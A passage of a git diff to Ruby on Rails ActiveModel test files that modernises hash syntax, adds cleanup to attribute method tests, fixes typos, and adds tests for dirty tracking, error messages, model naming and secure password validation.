@@ -80,7 +80,7 @@ class ModelWithRubyKeywordNamedAttributes
include ActiveModel::AttributeMethods
def attributes
- { :begin => 'value of begin', :end => 'value of end' }
+ { begin: 'value of begin', end: 'value of end' }
end
private
@@ -104,10 +104,14 @@ class AttributeMethodsTest < ActiveModel::TestCase
end
test '#define_attribute_method generates attribute method' do
- ModelWithAttributes.define_attribute_method(:foo)
+ begin
+ ModelWithAttributes.define_attribute_method(:foo)
- assert_respond_to ModelWithAttributes.new, :foo
- assert_equal "value of foo", ModelWithAttributes.new.foo
+ assert_respond_to ModelWithAttributes.new, :foo
+ assert_equal "value of foo", ModelWithAttributes.new.foo
+ ensure
+ ModelWithAttributes.undefine_attribute_methods
+ end
end
test '#define_attribute_method does not generate attribute method if already defined in attribute module' do
@@ -134,24 +138,36 @@ class AttributeMethodsTest < ActiveModel::TestCase
end
test '#define_attribute_method generates attribute method with invalid identifier characters' do
- ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
+ begin
+ ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
- assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
- assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send('a?b')
+ assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
+ assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send('a?b')
+ ensure
+ ModelWithWeirdNamesAttributes.undefine_attribute_methods
+ end
end
test '#define_attribute_methods works passing multiple arguments' do
- ModelWithAttributes.define_attribute_methods(:foo, :baz)
+ begin
+ ModelWithAttributes.define_attribute_methods(:foo, :baz)
- assert_equal "value of foo", ModelWithAttributes.new.foo
- assert_equal "value of baz", ModelWithAttributes.new.baz
+ assert_equal "value of foo", ModelWithAttributes.new.foo
+ assert_equal "value of baz", ModelWithAttributes.new.baz
+ ensure
+ ModelWithAttributes.undefine_attribute_methods
+ end
end
test '#define_attribute_methods generates attribute methods' do
- ModelWithAttributes.define_attribute_methods(:foo)
+ begin
+ ModelWithAttributes.define_attribute_methods(:foo)
- assert_respond_to ModelWithAttributes.new, :foo
- assert_equal "value of foo", ModelWithAttributes.new.foo
+ assert_respond_to ModelWithAttributes.new, :foo
+ assert_equal "value of foo", ModelWithAttributes.new.foo
+ ensure
+ ModelWithAttributes.undefine_attribute_methods
+ end
end
test '#alias_attribute generates attribute_aliases lookup hash' do
@@ -164,26 +180,38 @@ class AttributeMethodsTest < ActiveModel::TestCase
end
test '#define_attribute_methods generates attribute methods with spaces in their names' do
- ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+ begin
+ ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
- assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
- assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
+ assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
+ assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
+ ensure
+ ModelWithAttributesWithSpaces.undefine_attribute_methods
+ end
end
test '#alias_attribute works with attributes with spaces in their names' do
- ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
- ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
+ begin
+ ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+ ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
- assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
+ assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
+ ensure
+ ModelWithAttributesWithSpaces.undefine_attribute_methods
+ end
end
test '#alias_attribute works with attributes named as a ruby keyword' do
- ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
- ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
- ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
-
- assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
- assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+ begin
+ ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
+ ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
+ ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
+
+ assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
+ assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+ ensure
+ ModelWithRubyKeywordNamedAttributes.undefine_attribute_methods
+ end
end
test '#undefine_attribute_methods removes attribute methods' do
@@ -194,7 +222,7 @@ class AttributeMethodsTest < ActiveModel::TestCase
assert_raises(NoMethodError) { ModelWithAttributes.new.foo }
end
- test 'acessing a suffixed attribute' do
+ test 'accessing a suffixed attribute' do
m = ModelWithAttributes2.new
m.attributes = { 'foo' => 'bar' }
@@ -202,17 +230,6 @@ class AttributeMethodsTest < ActiveModel::TestCase
assert_equal 'bar', m.foo_test
end
- test 'explicitly specifying an empty prefix/suffix is deprecated' do
- klass = Class.new(ModelWithAttributes)
-
- assert_deprecated { klass.attribute_method_suffix '' }
- assert_deprecated { klass.attribute_method_prefix '' }
-
- klass.define_attribute_methods(:foo)
-
- assert_equal 'value of foo', klass.new.foo
- end
-
test 'should not interfere with method_missing if the attr has a private/protected method' do
m = ModelWithAttributes2.new
m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' }
diff --git a/activemodel/test/cases/callbacks_test.rb b/activemodel/test/cases/callbacks_test.rb
index 086e7266ff..5fede098d1 100644
--- a/activemodel/test/cases/callbacks_test.rb
+++ b/activemodel/test/cases/callbacks_test.rb
@@ -15,9 +15,9 @@ class CallbacksTest < ActiveModel::TestCase
extend ActiveModel::Callbacks
define_model_callbacks :create
- define_model_callbacks :initialize, :only => :after
- define_model_callbacks :multiple, :only => [:before, :around]
- define_model_callbacks :empty, :only => []
+ define_model_callbacks :initialize, only: :after
+ define_model_callbacks :multiple, only: [:before, :around]
+ define_model_callbacks :empty, only: []
before_create :before_create
around_create CallbackValidator.new
@@ -107,7 +107,7 @@ class CallbacksTest < ActiveModel::TestCase
test "after_create callbacks with both callbacks declared in one line" do
assert_equal ["callback1", "callback2"], Violin1.new.create.history
end
- test "after_create callbacks with both callbacks declared in differnt lines" do
+ test "after_create callbacks with both callbacks declared in different lines" do
assert_equal ["callback1", "callback2"], Violin2.new.create.history
end
diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb
index d679ad41aa..800cad6d9a 100644
--- a/activemodel/test/cases/conversion_test.rb
+++ b/activemodel/test/cases/conversion_test.rb
@@ -13,7 +13,7 @@ class ConversionTest < ActiveModel::TestCase
end
test "to_key default implementation returns the id in an array for persisted records" do
- assert_equal [1], Contact.new(:id => 1).to_key
+ assert_equal [1], Contact.new(id: 1).to_key
end
test "to_param default implementation returns nil for new records" do
@@ -21,7 +21,21 @@ class ConversionTest < ActiveModel::TestCase
end
test "to_param default implementation returns a string of ids for persisted records" do
- assert_equal "1", Contact.new(:id => 1).to_param
+ assert_equal "1", Contact.new(id: 1).to_param
+ end
+
+ test "to_param returns the string joined by '-'" do
+ assert_equal "abc-xyz", Contact.new(id: ["abc", "xyz"]).to_param
+ end
+
+ test "to_param returns nil if to_key is nil" do
+ klass = Class.new(Contact) do
+ def persisted?
+ true
+ end
+ end
+
+ assert_nil klass.new.to_param
end
test "to_partial_path default implementation returns a string giving a relative path" do
@@ -29,4 +43,8 @@ class ConversionTest < ActiveModel::TestCase
assert_equal "helicopters/helicopter", Helicopter.new.to_partial_path,
"ActiveModel::Conversion#to_partial_path caching should be class-specific"
end
+
+ test "to_partial_path handles namespaced models" do
+ assert_equal "helicopter/comanches/comanche", Helicopter::Comanche.new.to_partial_path
+ end
end
diff --git a/activemodel/test/cases/deprecated_mass_assignment_security_test.rb b/activemodel/test/cases/deprecated_mass_assignment_security_test.rb
deleted file mode 100644
index c1fe8822cd..0000000000
--- a/activemodel/test/cases/deprecated_mass_assignment_security_test.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require 'cases/helper'
-require 'models/project'
-
-class DeprecatedMassAssignmentSecurityTest < ActiveModel::TestCase
- def test_attr_accessible_raise_error
- assert_raise RuntimeError, /protected_attributes/ do
- Project.attr_accessible :username
- end
- end
-
- def test_attr_protected_raise_error
- assert_raise RuntimeError, /protected_attributes/ do
- Project.attr_protected :username
- end
- end
-end
diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb
index 0b9f9537e2..db2cd885e2 100644
--- a/activemodel/test/cases/dirty_test.rb
+++ b/activemodel/test/cases/dirty_test.rb
@@ -3,11 +3,12 @@ require "cases/helper"
class DirtyTest < ActiveModel::TestCase
class DirtyModel
include ActiveModel::Dirty
- define_attribute_methods :name, :color
+ define_attribute_methods :name, :color, :size
def initialize
@name = nil
@color = nil
+ @size = nil
end
def name
@@ -28,9 +29,25 @@ class DirtyTest < ActiveModel::TestCase
@color = val
end
+ def size
+ @size
+ end
+
+ def size=(val)
+ attribute_will_change!(:size) unless val == @size
+ @size = val
+ end
+
def save
- @previously_changed = changes
- @changed_attributes.clear
+ changes_applied
+ end
+
+ def reload
+ clear_changes_information
+ end
+
+ def deprecated_reload
+ reset_changes
end
end
@@ -46,7 +63,7 @@ class DirtyTest < ActiveModel::TestCase
assert @model.name_changed?
end
- test "list of changed attributes" do
+ test "list of changed attribute keys" do
assert_equal [], @model.changed
@model.name = "Paul"
assert_equal ['name'], @model.changed
@@ -58,12 +75,30 @@ class DirtyTest < ActiveModel::TestCase
assert_equal [nil, "John"], @model.changes['name']
end
+ test "checking if an attribute has changed to a particular value" do
+ @model.name = "Ringo"
+ assert @model.name_changed?(from: nil, to: "Ringo")
+ assert_not @model.name_changed?(from: "Pete", to: "Ringo")
+ assert @model.name_changed?(to: "Ringo")
+ assert_not @model.name_changed?(to: "Pete")
+ assert @model.name_changed?(from: nil)
+ assert_not @model.name_changed?(from: "Pete")
+ end
+
test "changes accessible through both strings and symbols" do
@model.name = "David"
assert_not_nil @model.changes[:name]
assert_not_nil @model.changes['name']
end
+ test "be consistent with symbols arguments after the changes are applied" do
+ @model.name = "David"
+ assert @model.attribute_changed?(:name)
+ @model.save
+ @model.name = 'Rafael'
+ assert @model.attribute_changed?(:name)
+ end
+
test "attribute mutation" do
@model.instance_variable_set("@name", "Yam")
assert !@model.name_changed?
@@ -76,7 +111,7 @@ class DirtyTest < ActiveModel::TestCase
test "resetting attribute" do
@model.name = "Bob"
- @model.reset_name!
+ @model.restore_name!
assert_nil @model.name
assert !@model.name_changed?
end
@@ -106,6 +141,17 @@ class DirtyTest < ActiveModel::TestCase
assert_equal [nil, "Jericho Cane"], @model.previous_changes['name']
end
+ test "previous value is preserved when changed after save" do
+ assert_equal({}, @model.changed_attributes)
+ @model.name = "Paul"
+ assert_equal({ "name" => nil }, @model.changed_attributes)
+
+ @model.save
+
+ @model.name = "John"
+ assert_equal({ "name" => "Paul" }, @model.changed_attributes)
+ end
+
test "changing the same attribute multiple times retains the correct original value" do
@model.name = "Otto"
@model.save
@@ -114,4 +160,69 @@ class DirtyTest < ActiveModel::TestCase
assert_equal ["Otto", "Mr. Manfredgensonton"], @model.name_change
assert_equal @model.name_was, "Otto"
end
+
+ test "using attribute_will_change! with a symbol" do
+ @model.size = 1
+ assert @model.size_changed?
+ end
+
+ test "reload should reset all changes" do
+ @model.name = 'Dmitry'
+ @model.name_changed?
+ @model.save
+ @model.name = 'Bob'
+
+ assert_equal [nil, 'Dmitry'], @model.previous_changes['name']
+ assert_equal 'Dmitry', @model.changed_attributes['name']
+
+ @model.reload
+
+ assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.previous_changes
+ assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.changed_attributes
+ end
+
+ test "reset_changes is deprecated" do
+ @model.name = 'Dmitry'
+ @model.name_changed?
+ @model.save
+ @model.name = 'Bob'
+
+ assert_equal [nil, 'Dmitry'], @model.previous_changes['name']
+ assert_equal 'Dmitry', @model.changed_attributes['name']
+
+ assert_deprecated do
+ @model.deprecated_reload
+ end
+
+ assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.previous_changes
+ assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.changed_attributes
+ end
+
+ test "restore_attributes should restore all previous data" do
+ @model.name = 'Dmitry'
+ @model.color = 'Red'
+ @model.save
+ @model.name = 'Bob'
+ @model.color = 'White'
+
+ @model.restore_attributes
+
+ assert_not @model.changed?
+ assert_equal 'Dmitry', @model.name
+ assert_equal 'Red', @model.color
+ end
+
+ test "restore_attributes can restore only some attributes" do
+ @model.name = 'Dmitry'
+ @model.color = 'Red'
+ @model.save
+ @model.name = 'Bob'
+ @model.color = 'White'
+
+ @model.restore_attributes(['name'])
+
+ assert @model.changed?
+ assert_equal 'Dmitry', @model.name
+ assert_equal 'White', @model.color
+ end
end
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
index 1ffce1ae47..efedd9055f 100644
--- a/activemodel/test/cases/errors_test.rb
+++ b/activemodel/test/cases/errors_test.rb
@@ -11,7 +11,7 @@ class ErrorsTest < ActiveModel::TestCase
attr_reader :errors
def validate!
- errors.add(:name, "can not be nil") if name == nil
+ errors.add(:name, "cannot be nil") if name == nil
end
def read_attribute_for_validation(attr)
@@ -51,10 +51,72 @@ class ErrorsTest < ActiveModel::TestCase
def test_has_key?
errors = ActiveModel::Errors.new(self)
errors[:foo] = 'omg'
- assert errors.has_key?(:foo), 'errors should have key :foo'
+ assert_equal true, errors.has_key?(:foo), 'errors should have key :foo'
end
- test "should return true if no errors" do
+ def test_has_no_key
+ errors = ActiveModel::Errors.new(self)
+ assert_equal false, errors.has_key?(:name), 'errors should not have key :name'
+ end
+
+ def test_key?
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = 'omg'
+ assert_equal true, errors.key?(:foo), 'errors should have key :foo'
+ end
+
+ def test_no_key
+ errors = ActiveModel::Errors.new(self)
+ assert_equal false, errors.key?(:name), 'errors should not have key :name'
+ end
+
+ test "clear errors" do
+ person = Person.new
+ person.validate!
+
+ assert_equal 1, person.errors.count
+ person.errors.clear
+ assert person.errors.empty?
+ end
+
+ test "get returns the errors for the provided key" do
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = "omg"
+
+ assert_equal ["omg"], errors.get(:foo)
+ end
+
+ test "sets the error with the provided key" do
+ errors = ActiveModel::Errors.new(self)
+ errors.set(:foo, "omg")
+
+ assert_equal({ foo: "omg" }, errors.messages)
+ end
+
+ test "error access is indifferent" do
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = "omg"
+
+ assert_equal ["omg"], errors["foo"]
+ end
+
+ test "values returns an array of messages" do
+ errors = ActiveModel::Errors.new(self)
+ errors.set(:foo, "omg")
+ errors.set(:baz, "zomg")
+
+ assert_equal ["omg", "zomg"], errors.values
+ end
+
+ test "keys returns the error keys" do
+ errors = ActiveModel::Errors.new(self)
+ errors.set(:foo, "omg")
+ errors.set(:baz, "zomg")
+
+ assert_equal [:foo, :baz], errors.keys
+ end
+
+ test "detecting whether there are errors with empty?, blank?, include?" do
person = Person.new
person.errors[:foo]
assert person.errors.empty?
@@ -62,139 +124,154 @@ class ErrorsTest < ActiveModel::TestCase
assert !person.errors.include?(:foo)
end
- test "method validate! should work" do
+ test "adding errors using conditionals with Person#validate!" do
person = Person.new
person.validate!
- assert_equal ["name can not be nil"], person.errors.full_messages
- assert_equal ["can not be nil"], person.errors[:name]
+ assert_equal ["name cannot be nil"], person.errors.full_messages
+ assert_equal ["cannot be nil"], person.errors[:name]
end
- test 'should be able to assign error' do
+ test "assign error" do
person = Person.new
person.errors[:name] = 'should not be nil'
assert_equal ["should not be nil"], person.errors[:name]
end
- test 'should be able to add an error on an attribute' do
+ test "add an error message on a specific attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- assert_equal ["can not be blank"], person.errors[:name]
+ person.errors.add(:name, "cannot be blank")
+ assert_equal ["cannot be blank"], person.errors[:name]
end
- test "should be able to add an error with a symbol" do
+ test "add an error with a symbol" do
person = Person.new
person.errors.add(:name, :blank)
message = person.errors.generate_message(:name, :blank)
assert_equal [message], person.errors[:name]
end
- test "should be able to add an error with a proc" do
+ test "add an error with a proc" do
person = Person.new
- message = Proc.new { "can not be blank" }
+ message = Proc.new { "cannot be blank" }
person.errors.add(:name, message)
- assert_equal ["can not be blank"], person.errors[:name]
+ assert_equal ["cannot be blank"], person.errors[:name]
end
- test "added? should be true if that error was added" do
+ test "added? detects if a specific error was added to the object" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- assert person.errors.added?(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
+ assert person.errors.added?(:name, "cannot be blank")
end
- test "added? should handle when message is a symbol" do
+ test "added? handles symbol message" do
person = Person.new
person.errors.add(:name, :blank)
assert person.errors.added?(:name, :blank)
end
- test "added? should handle when message is a proc" do
+ test "added? handles proc messages" do
person = Person.new
- message = Proc.new { "can not be blank" }
+ message = Proc.new { "cannot be blank" }
person.errors.add(:name, message)
assert person.errors.added?(:name, message)
end
- test "added? should default message to :invalid" do
+ test "added? defaults message to :invalid" do
person = Person.new
person.errors.add(:name)
assert person.errors.added?(:name)
end
- test "added? should be true when several errors are present, and we ask for one of them" do
+ test "added? matches the given message when several errors are present for the same attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
person.errors.add(:name, "is invalid")
- assert person.errors.added?(:name, "can not be blank")
+ assert person.errors.added?(:name, "cannot be blank")
end
- test "added? should be false if no errors are present" do
+ test "added? returns false when no errors are present" do
person = Person.new
assert !person.errors.added?(:name)
end
- test "added? should be false when an error is present, but we check for another error" do
+ test "added? returns false when checking a nonexisting error and other errors are present for the given attribute" do
person = Person.new
person.errors.add(:name, "is invalid")
- assert !person.errors.added?(:name, "can not be blank")
+ assert !person.errors.added?(:name, "cannot be blank")
end
- test 'should respond to size' do
+ test "size calculates the number of error messages" do
person = Person.new
- person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
assert_equal 1, person.errors.size
end
- test 'to_a should return an array' do
+ test "to_a returns the list of errors with complete messages containing the attribute names" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:name, "cannot be nil")
+ assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.to_a
end
- test 'to_hash should return a hash' do
+ test "to_hash returns the error messages hash" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- assert_instance_of ::Hash, person.errors.to_hash
+ person.errors.add(:name, "cannot be blank")
+ assert_equal({ name: ["cannot be blank"] }, person.errors.to_hash)
end
- test 'full_messages should return an array of error messages, with the attribute name included' do
+ test "full_messages creates a list of error messages with the attribute name included" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:name, "cannot be nil")
+ assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages
end
- test 'full_message should return the given message if attribute equals :base' do
+ test "full_messages_for contains all the error messages for the given attribute" do
+ person = Person.new
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:name, "cannot be nil")
+ assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages_for(:name)
+ end
+
+ test "full_messages_for does not contain error messages from other attributes" do
+ person = Person.new
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:email, "cannot be blank")
+ assert_equal ["name cannot be blank"], person.errors.full_messages_for(:name)
+ end
+
+ test "full_messages_for returns an empty list in case there are no errors for the given attribute" do
+ person = Person.new
+ person.errors.add(:name, "cannot be blank")
+ assert_equal [], person.errors.full_messages_for(:email)
+ end
+
+ test "full_message returns the given message when attribute is :base" do
person = Person.new
assert_equal "press the button", person.errors.full_message(:base, "press the button")
end
- test 'full_message should return the given message with the attribute name included' do
+ test "full_message returns the given message with the attribute name included" do
person = Person.new
- assert_equal "name can not be blank", person.errors.full_message(:name, "can not be blank")
+ assert_equal "name cannot be blank", person.errors.full_message(:name, "cannot be blank")
+ assert_equal "name_test cannot be blank", person.errors.full_message(:name_test, "cannot be blank")
end
- test 'should return a JSON hash representation of the errors' do
+ test "as_json creates a json formatted representation of the errors hash" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- person.errors.add(:email, "is invalid")
- hash = person.errors.as_json
- assert_equal ["can not be blank", "can not be nil"], hash[:name]
- assert_equal ["is invalid"], hash[:email]
+ person.validate!
+
+ assert_equal({ name: ["cannot be nil"] }, person.errors.as_json)
end
- test 'should return a JSON hash representation of the errors with full messages' do
+ test "as_json with :full_messages option creates a json formatted representation of the errors containing complete messages" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- person.errors.add(:email, "is invalid")
- hash = person.errors.as_json(:full_messages => true)
- assert_equal ["name can not be blank", "name can not be nil"], hash[:name]
- assert_equal ["email is invalid"], hash[:email]
+ person.validate!
+
+ assert_equal({ name: ["name cannot be nil"] }, person.errors.as_json(full_messages: true))
end
- test "generate_message should work without i18n_scope" do
+ test "generate_message works without i18n_scope" do
person = Person.new
assert !Person.respond_to?(:i18n_scope)
assert_nothing_raised {
@@ -217,8 +294,15 @@ class ErrorsTest < ActiveModel::TestCase
test "add_on_empty generates message with custom default message" do
person = Person.new
- person.errors.expects(:generate_message).with(:name, :empty, {:message => 'custom'})
- person.errors.add_on_empty :name, :message => 'custom'
+ person.errors.expects(:generate_message).with(:name, :empty, { message: 'custom' })
+ person.errors.add_on_empty :name, message: 'custom'
+ end
+
+ test "add_on_empty generates message with empty string value" do
+ person = Person.new
+ person.name = ''
+ person.errors.expects(:generate_message).with(:name, :empty, {})
+ person.errors.add_on_empty :name
end
test "add_on_blank generates message" do
@@ -236,7 +320,7 @@ class ErrorsTest < ActiveModel::TestCase
test "add_on_blank generates message with custom default message" do
person = Person.new
- person.errors.expects(:generate_message).with(:name, :blank, {:message => 'custom'})
- person.errors.add_on_blank :name, :message => 'custom'
+ person.errors.expects(:generate_message).with(:name, :blank, { message: 'custom' })
+ person.errors.add_on_blank :name, message: 'custom'
end
end
diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb
index 7d6f11b5a5..4ce6103593 100644
--- a/activemodel/test/cases/helper.rb
+++ b/activemodel/test/cases/helper.rb
@@ -7,4 +7,14 @@ require 'active_support/core_ext/string/access'
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
-require 'minitest/autorun'
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+require 'active_support/testing/autorun'
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/activemodel/test/cases/model_test.rb b/activemodel/test/cases/model_test.rb
index d93fd96b88..ee0fa26546 100644
--- a/activemodel/test/cases/model_test.rb
+++ b/activemodel/test/cases/model_test.rb
@@ -3,7 +3,30 @@ require 'cases/helper'
class ModelTest < ActiveModel::TestCase
include ActiveModel::Lint::Tests
+ module DefaultValue
+ def self.included(klass)
+ klass.class_eval { attr_accessor :hello }
+ end
+
+ def initialize(*args)
+ @attr ||= 'default value'
+ super
+ end
+ end
+
class BasicModel
+ include DefaultValue
+ include ActiveModel::Model
+ attr_accessor :attr
+ end
+
+ class BasicModelWithReversedMixins
+ include ActiveModel::Model
+ include DefaultValue
+ attr_accessor :attr
+ end
+
+ class SimpleModel
include ActiveModel::Model
attr_accessor :attr
end
@@ -13,14 +36,40 @@ class ModelTest < ActiveModel::TestCase
end
def test_initialize_with_params
- object = BasicModel.new(:attr => "value")
- assert_equal object.attr, "value"
+ object = BasicModel.new(attr: "value")
+ assert_equal "value", object.attr
+ end
+
+ def test_initialize_with_params_and_mixins_reversed
+ object = BasicModelWithReversedMixins.new(attr: "value")
+ assert_equal "value", object.attr
end
def test_initialize_with_nil_or_empty_hash_params_does_not_explode
assert_nothing_raised do
BasicModel.new()
+ BasicModel.new(nil)
BasicModel.new({})
+ SimpleModel.new(attr: 'value')
end
end
+
+ def test_persisted_is_always_false
+ object = BasicModel.new(attr: "value")
+ assert object.persisted? == false
+ end
+
+ def test_mixin_inclusion_chain
+ object = BasicModel.new
+ assert_equal 'default value', object.attr
+ end
+
+ def test_mixin_initializer_when_args_exist
+ object = BasicModel.new(hello: 'world')
+ assert_equal 'world', object.hello
+ end
+
+ def test_mixin_initializer_when_args_dont_exist
+ assert_raises(NoMethodError) { SimpleModel.new(hello: 'world') }
+ end
end
diff --git a/activemodel/test/cases/naming_test.rb b/activemodel/test/cases/naming_test.rb
index 49d8706ac2..7b8287edbf 100644
--- a/activemodel/test/cases/naming_test.rb
+++ b/activemodel/test/cases/naming_test.rb
@@ -29,6 +29,14 @@ class NamingTest < ActiveModel::TestCase
assert_equal 'Track back', @model_name.human
end
+ def test_route_key
+ assert_equal 'post_track_backs', @model_name.route_key
+ end
+
+ def test_param_key
+ assert_equal 'post_track_back', @model_name.param_key
+ end
+
def test_i18n_key
assert_equal :"post/track_back", @model_name.i18n_key
end
@@ -237,7 +245,7 @@ class NamingHelpersTest < ActiveModel::TestCase
end
def test_uncountable
- assert uncountable?(@uncountable), "Expected 'sheep' to be uncoutable"
+ assert uncountable?(@uncountable), "Expected 'sheep' to be uncountable"
assert !uncountable?(@klass), "Expected 'contact' to be countable"
end
@@ -264,3 +272,9 @@ class NameWithAnonymousClassTest < ActiveModel::TestCase
assert_equal "Anonymous", model_name
end
end
+
+class NamingMethodDelegationTest < ActiveModel::TestCase
+ def test_model_name
+ assert_equal Blog::Post.model_name, Blog::Post.new.model_name
+ end
+end
diff --git a/activemodel/test/cases/railtie_test.rb b/activemodel/test/cases/railtie_test.rb
index a0cd1402b1..96b3b07e50 100644
--- a/activemodel/test/cases/railtie_test.rb
+++ b/activemodel/test/cases/railtie_test.rb
@@ -7,9 +7,12 @@ class RailtieTest < ActiveModel::TestCase
def setup
require 'active_model/railtie'
+ # Set a fake logger to avoid creating the log directory automatically
+ fake_logger = Logger.new(nil)
+
@app ||= Class.new(::Rails::Application) do
config.eager_load = false
- config.logger = Logger.new(STDOUT)
+ config.logger = fake_logger
end
end
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
index 7783bb25d5..6d56c8344a 100644
--- a/activemodel/test/cases/secure_password_test.rb
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -1,78 +1,192 @@
require 'cases/helper'
require 'models/user'
-require 'models/oauthed_user'
require 'models/visitor'
-require 'models/administrator'
class SecurePasswordTest < ActiveModel::TestCase
setup do
+ # Used only to speed up tests
+ @original_min_cost = ActiveModel::SecurePassword.min_cost
ActiveModel::SecurePassword.min_cost = true
@user = User.new
@visitor = Visitor.new
- @oauthed_user = OauthedUser.new
+
+ # Simulate loading an existing user from the DB
+ @existing_user = User.new
+ @existing_user.password_digest = BCrypt::Password.create('password', cost: BCrypt::Engine::MIN_COST)
end
teardown do
- ActiveModel::SecurePassword.min_cost = false
+ ActiveModel::SecurePassword.min_cost = @original_min_cost
+ end
+
+ test "automatically include ActiveModel::Validations when validations are enabled" do
+ assert_respond_to @user, :valid?
end
- test "blank password" do
- @user.password = @visitor.password = ''
+ test "don't include ActiveModel::Validations when validations are disabled" do
+ assert_not_respond_to @visitor, :valid?
+ end
+
+ test "create a new user with validations and valid password/confirmation" do
+ @user.password = 'password'
+ @user.password_confirmation = 'password'
+
+ assert @user.valid?(:create), 'user should be valid'
+
+ @user.password = 'a' * 72
+ @user.password_confirmation = 'a' * 72
+
+ assert @user.valid?(:create), 'user should be valid'
+ end
+
+ test "create a new user with validation and a spaces only password" do
+ @user.password = ' ' * 72
+ assert @user.valid?(:create), 'user should be valid'
+ end
+
+ test "create a new user with validation and a blank password" do
+ @user.password = ''
assert !@user.valid?(:create), 'user should be invalid'
- assert @visitor.valid?(:create), 'visitor should be valid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["can't be blank"], @user.errors[:password]
end
- test "nil password" do
- @user.password = @visitor.password = nil
+ test "create a new user with validation and a nil password" do
+ @user.password = nil
assert !@user.valid?(:create), 'user should be invalid'
- assert @visitor.valid?(:create), 'visitor should be valid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["can't be blank"], @user.errors[:password]
end
- test "blank password doesn't override previous password" do
- @user.password = 'test'
- @user.password = ''
- assert_equal @user.password, 'test'
+ test 'create a new user with validation and password length greater than 72' do
+ @user.password = 'a' * 73
+ @user.password_confirmation = 'a' * 73
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["is too long (maximum is 72 characters)"], @user.errors[:password]
+ end
+
+ test "create a new user with validation and a blank password confirmation" do
+ @user.password = 'password'
+ @user.password_confirmation = ''
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
end
- test "password must be present" do
- assert !@user.valid?(:create)
- assert_equal 1, @user.errors.size
+ test "create a new user with validation and a nil password confirmation" do
+ @user.password = 'password'
+ @user.password_confirmation = nil
+ assert @user.valid?(:create), 'user should be valid'
end
- test "match confirmation" do
- @user.password = @visitor.password = "thiswillberight"
- @user.password_confirmation = @visitor.password_confirmation = "wrong"
